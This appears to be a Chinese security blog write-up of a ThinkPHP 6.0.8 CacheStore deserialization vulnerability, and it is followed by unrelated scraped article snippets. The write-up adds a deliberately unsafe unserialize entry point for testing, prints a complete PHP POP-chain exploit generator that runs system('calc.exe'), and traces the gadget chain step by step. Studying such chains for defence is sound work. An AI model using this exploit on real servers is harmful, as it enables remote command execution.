ThinkPHP v6.0.8 CacheStore 反序列化漏洞
漏洞说明
1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 会触发POP利用链子,造成任意命令执行
2. 组件描述: ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架
3. 影响版本:V6.0.8
漏洞复现
1. 环境安装:ThinkPHP6.0正式完整版下载_其他_技术博文_js代码
下载v6.0.8,使用命令php think run即环境起来了

访问127.0.0.1:8000

需要在源代码中加入一个入口
if(isset($_POST['data'])) {@unserialize($_POST['data']);
}
highlight_string(file_get_contents(__FILE__));

利用exp生成payload并打入data入口
<?phpnamespace League\Flysystem\Cached\Storage {abstract class AbstractCache{protected $autosave;public function __construct(){$this->autosave = false;}}
}namespace think\filesystem {use League\Flysystem\Cached\Storage\AbstractCache;use think\cache\driver\File;class CacheStore extends AbstractCache{protected $store;protected $expire;protected $key;public function __construct(){$this->store = new File();$this->expire = 1;$this->key = '1';}}echo urlencode(serialize(new CacheStore()));
}namespace think\cache {use think\model\Pivot;abstract class Driver{protected $options = ['expire' => 0,'cache_subdir' => true,'prefix' => '','path' => '','hash_type' => 'md5','data_compress' => false,'tag_prefix' => 'tag:','serialize' => ['system'],];public function __construct(){$this->options = ['expire' => 0,'cache_subdir' => true,'prefix' => '','path' => new Pivot(),'hash_type' => 'md5','data_compress' => false,'tag_prefix' => 'tag:','serialize' => ['system'],];}}
}namespace think\cache\driver {use think\cache\Driver;class File extends Driver{}
}namespace think {use think\model\concern\Attribute;abstract class Model{private $data = [];private $withAttr = [];public function __construct(){$this->data = ['errorr0' => 'calc.exe'];$this->visible = ["errorr0" => 1];$this->withAttr = ['errorr0' => 'system'];}}
}namespace think\model\concern {trait Attribute{}
}namespace think\model {use think\Model;class Pivot extends Model{}
}

漏洞分析
全局搜索找到CacheStore所在位置src/think/filesystem/CacheStore.php

找到它的父类AbstractCache,查看发现有__destruct()

步入save查看

跟进查看getForStorage()


没有发现可利用点,步出看save后面的
$this->store->set($this->key, $contents, $this->expire);
这里$this->store是可控的,所以可以调用任意含义set()函数的对象,这里调用src/think/cache/driver/File.php::set

跟进getExpireTime(),查看如下

没有可利用点,步出继续往下步入getCacheKey()查看

前面使用了hash()函数,第一个为hash类型的设置,如果为空或者设置有误则会报错,我们需要保证上面不截断的前提下执行下面return的步骤,return中$this->options['path']与$name进行了拼接,而$this->options['path']是可控的,如果实例化一个有__toString()魔术方法的对象,保证$name不报错,则可以搭成一个链,经过查找发现vendor\topthink\think-orm\src\model\concern\Conversion有__toString可以利用


步入toArray()查看情况

这里看到如果满足条件判断则可以执行getAttr(),步入查看

不出错就应该进入getData()


没什么特别的直接,看外层的getValue()

这里可以构造一个自定义函数以及利用data传参达到任意命令执行,而有个问题就是触发了漏洞怎么将他们链接起来?并且还有一个问题就是恶意payload如何传入,这里经过审计发现需要传入的恶意$data参数是vendor\topthink\think-orm\src\model\concern\Attribute中,而在vendor\topthink\think-orm\src\Model可控制$data,并且

Model复用了Conversion的内容,这样也可以触发__toString,最后构造就按照分析的将几个类复用再给几个类中特殊需要赋值即可,还有一个小问题就是如上图,Model是抽象类,因此我们需要自己手写一个子类继承即可。
Referer
tp6.0.8反序列化漏洞分析 - 网安
thinkphp6.0x反序列化复现及再挖掘-安全客 - 安全资讯平台
相关文章:
ThinkPHP v6.0.8 CacheStore 反序列化漏洞
漏洞说明 1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 会触发POP利用链子,造成任意命令执行 2. 组件描述: ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架 3. 影响版本:V6.0.8 漏洞复现 1. 环境安…...
Spring 事务详解(注解方式)
目 录 序言 1、编程式事务 2、配置声明式事务 2.1 基于TransactionProxyFactoryBean的方式(不常用,因为要为每一个类配置TransactionProxyFactoryBean) 2.2 基于AspectJ的XML方式(常用,可配置在某些类下的所有子…...
华为云waf 使用场景
防护Web应用免受攻击就用华为云Web应用防火墙 Web应用防火墙(Web Application Firewall, WAF),通过对HTTP(S)请求进行检测,识别并阻断SQL注入、跨站脚本攻击、网页木马上传、命令/代码注入、文件包含、敏感文件访问、第…...
?.的写法 后缀修饰符
概览:处理后端返回的数据data,写法:data?.name。解决vue框架编译出现的报错Cannot read property name of undefined。出现问题的原因:这是因为我们试图访问对象中不在的 key 为 name 的属性,那么怎么解决呢ÿ…...
org.apache.hadoop.hive.ql.exec.DDLTask. show Locks LockManager not specified解决
Error while processing statement: FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.DDLTask. show Locks LockManager not specified解决 当在Hive中执行show locks语句时,出现"LockManager not specified"错误通常是由于…...
Adaptive autosar 都有哪些模块?各有什么功能?
Adaptive autosar是一种用于高性能计算ECU的软件平台,它支持自适应应用程序的开发和运行。它由两部分组成:基础(Foundation)和服务(Service)。基础包括了操作系统接口、执行管理、网络管理、识别访问管理、加密、更新和配置管理等功能。服务包括了通信管理、RESTful、时间…...
C++ 动态内存分配
在C中动态内存的分配技术可以保证程序在允许过程中按照实际需要申请适量的内存,使用结束后还可以释放,这种在程序运行过程中申请和释放的存储单元也称为堆。 申请和释放过程一般称为建立和删除。 在C程序中,建立和删除堆对象使用两个运算符&…...
设计模式——面向对象的7大设计原则
1.单一职责原则 一个类中最好只放一种类型的方法,比如Dao中只有和数据库交互相关的代码。实现高内聚,低耦合。 2.开闭原则 对外拓展开放,对内修改关闭,有新的需求时不要修改已有代码,而是添加新的代码,比…...
智慧防汛,数字科技的力量
随着夏日的脚步临近,台风季节即将降临。对于那些居住在沿海地区的人们来说,台风是一种常见的自然灾害,其带来的风雨可能对生命和财产造成严重威胁。然而,随着数字科技的飞速发展,可视化技术为防汛抗台工作带来了全新的…...
“中国软件杯”飞桨赛道晋级决赛现场名单公布
“中国软件杯”大学生软件设计大赛是由国家工业和信息化部、教育部、江苏省人民政府共同主办,是全国软件行业规格最高、最具影响力的国家级一类赛事,为《全国普通高校竞赛排行榜》榜单内赛事。今年,组委会联合百度飞桨共同设立了“智能系统设…...
JDBC处理批量数据提高效率
文章目录 0 说明1 如何使用jdbc操作数据库1.1 加载数据库驱动1.2 建立数据库连接1.3 创建Statement或者PreparedStatement用来执行SQL1.4 开始执行SQL语句1.5 处理结果集1.6 关闭连接1.7 完整代码 2 批量操作数据库3 如何打印SQL语句4 jdbc常用开源类库 1 JDBC实现往MySQL插入百…...
使用css和js给按钮添加微交互的几种方式
使用css和js给按钮添加微交互的几种方式 在现实世界中,当我们轻弹或按下某些东西时,它们会发出咔嗒声,例如电灯开关。有些东西会亮起或发出蜂鸣声,这些响应都是“微交互”,让我们知道我们何时成功完成了某件事。在本文…...
react面试之context的value变化时,内部所有子组件是否变化
上测试代码 // context const state {a: 1,b: 1, } const context createContext(state);export default context; // A组件 const A () > {const { a } useContext(context);return (<div>{a}</div>) } export default A;// B组件 const B () > {cons…...
使用okHttp不走代理问题
背景 某日使用okhttp设置代理并发送爬虫请求时,发现部分url请求没有走代理直接和目标url建立了连接,伪代码如下。初始化okhttpClient时设置了proxySelecter代理,但是调用okhttpClient.newCall请求时并没用调用proxySelecter.select函数获取代…...
python moviepy 自动化音视频处理实践
MoviePy是一个用于视频编辑的Python库。它提供了一种简单且直观的方式来处理视频文件,包括剪辑、合并、裁剪、添加文本、添加音频等操作。使用MoviePy,你可以通过编写Python代码来创建和编辑视频,而无需使用复杂的视频编辑软件。 MoviePy建立…...
聊聊混合动力汽车和纯电骑车的优势和劣势
混合动力汽车和纯电动骑车是两种不同的交通工具,它们都有各自的优势和劣势。本文将分别探讨混合动力汽车和纯电动骑车的优势和劣势,并为文章提供三个备选的好听的标题。 混合动力汽车是一种结合了内燃机和电动机的汽车,它可以同时利用燃油和电…...
算法训练Day39|62.不同路径 ● 63. 不同路径 II
LeetCode:62.不同路径 62. 不同路径 - 力扣(LeetCode) 1.思路 想象成矩阵填格子,两个关键点,初始化和递推公式。 初始化除点(0,0)第一行第一列均为1,递推公式推导dp[i][j] dp[i …...
react中hooks分享
一. HOOKS是什么 在计算机程序设计中,钩子一词涵盖了一系列技术,这些技术用来通过拦截函数调用、消息或在软件组件之间传递的事件来改变或增加操作系统、应用程序或其他软件组件的行为。处理这些被截获的函数调用、事件或消息的代码称为“hook”。 在r…...
LeetCode1207. 独一无二的出现次数
题干 给你一个整数数组 arr,请你帮忙统计数组中每个数的出现次数。 如果每个数的出现次数都是独一无二的,就返回 true;否则返回 false。 示例1: 输入:arr [1,2,2,1,1,3] 输出:true 解释:在该…...
【maven】构建项目前clean和不clean的区别
其实很简单,但是百度搜了一下,还是没人能简单说明白。 搬用之前做C项目时总结结论: 所以自己在IDE里一遍遍测试程序能否跑通的时候,不需要clean,因为反正还要改嘛。 但是这个项目测试好了,你要打成jar包给…...
OpenClaw技能组合:Kimi-VL-A3B-Thinking+文件处理实现智能归档
OpenClaw技能组合:Kimi-VL-A3B-Thinking文件处理实现智能归档 1. 为什么需要智能文件归档系统 作为一名长期与杂乱文件搏斗的技术从业者,我深知手动整理文件的痛苦。每次收到发票、合同或报告,都需要先打开文件查看内容,然后根据…...
3PEAK思瑞浦 TPW4052-TR TSSOP16 模拟开关/多路复用器
特性模拟开关电压:3.3V、5V、10V、5V低导通电阻:在 Vs 4.5V 或 9V 时典型值为 50Ω;在 Vs 4.5V 时典型值为 60Ω;在 VS 3V 时典型值为 300Ω带宽:200 MHz快速开关时间:ΔtON 60 ns,tOFF 50…...
从零开始:使用ms-swift和GLM-4-9b-chat构建专业测试用例生成系统
从零构建基于GLM-4-9b-chat的智能测试用例生成引擎 在软件测试领域,测试用例设计的质量直接决定了缺陷发现效率。传统手工编写测试用例的方式往往面临覆盖率不足、重复劳动和知识传承困难等痛点。本文将完整演示如何利用ms-swift框架对GLM-4-9b-chat大模型进行领域…...
软件测试新范式:Phi-4-mini-reasoning智能生成测试用例与缺陷报告
软件测试新范式:Phi-4-mini-reasoning智能生成测试用例与缺陷报告 1. 传统测试流程的痛点与变革契机 在软件测试领域,工程师们长期面临着一个核心矛盾:随着敏捷开发和持续交付的普及,测试周期被不断压缩,但测试覆盖率…...
Z-Image-GGUF快速上手:新手常见错误(如误点默认工作流)及修复方案
Z-Image-GGUF快速上手:新手常见错误(如误点默认工作流)及修复方案 1. 为什么你的第一张AI图总是生成失败? 如果你刚接触Z-Image-GGUF,很可能遇到过这样的情况:兴冲冲地打开界面,看到一堆复杂的…...
FXGL:JavaFX游戏开发的现代化架构实践
FXGL:JavaFX游戏开发的现代化架构实践 【免费下载链接】FXGL Java / JavaFX / Kotlin Game Library (Engine) 项目地址: https://gitcode.com/gh_mirrors/fx/FXGL FXGL是一个基于JavaFX构建的现代化游戏开发框架,为Java开发者提供了完整的游戏开发…...
3步搞定Windows卡顿:Win11Debloat系统优化工具使用全攻略
3步搞定Windows卡顿:Win11Debloat系统优化工具使用全攻略 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter and…...
vLLM运行XVERSE-13B-256K报错?可能是tokenizer版本不兼容(附降级解决方案)
解决vLLM运行XVERSE-13B-256K时的Tokenizer版本冲突问题 当你在Linux环境下使用vLLM框架加载XVERSE-13B-256K大模型时,可能会遇到一个令人困惑的错误:"data did not match any variant of untagged enum PyPreTokenizerTypeWrapper"。这个错误…...
利用快马AI快速生成产区标准可视化地图原型
最近在做一个农业规划项目,需要展示不同等级产区的分布和标准。传统做法是用PPT贴静态地图,每次修改都要重做,特别麻烦。后来发现用InsCode(快马)平台可以快速搭建交互式地图应用,效果出乎意料的好。 地图底图选择 中国地图最常用…...
2024更新-MacOS Sonoma安装AdoptOpenJDK8最新版(Homebrew指南)
1. 为什么要在MacOS Sonoma上安装AdoptOpenJDK8? 如果你是一名Java开发者,或者需要使用基于Java开发的工具(比如Android Studio、Jenkins等),那么在你的Mac电脑上安装Java开发环境是必不可少的。虽然现在Java已经更新…...
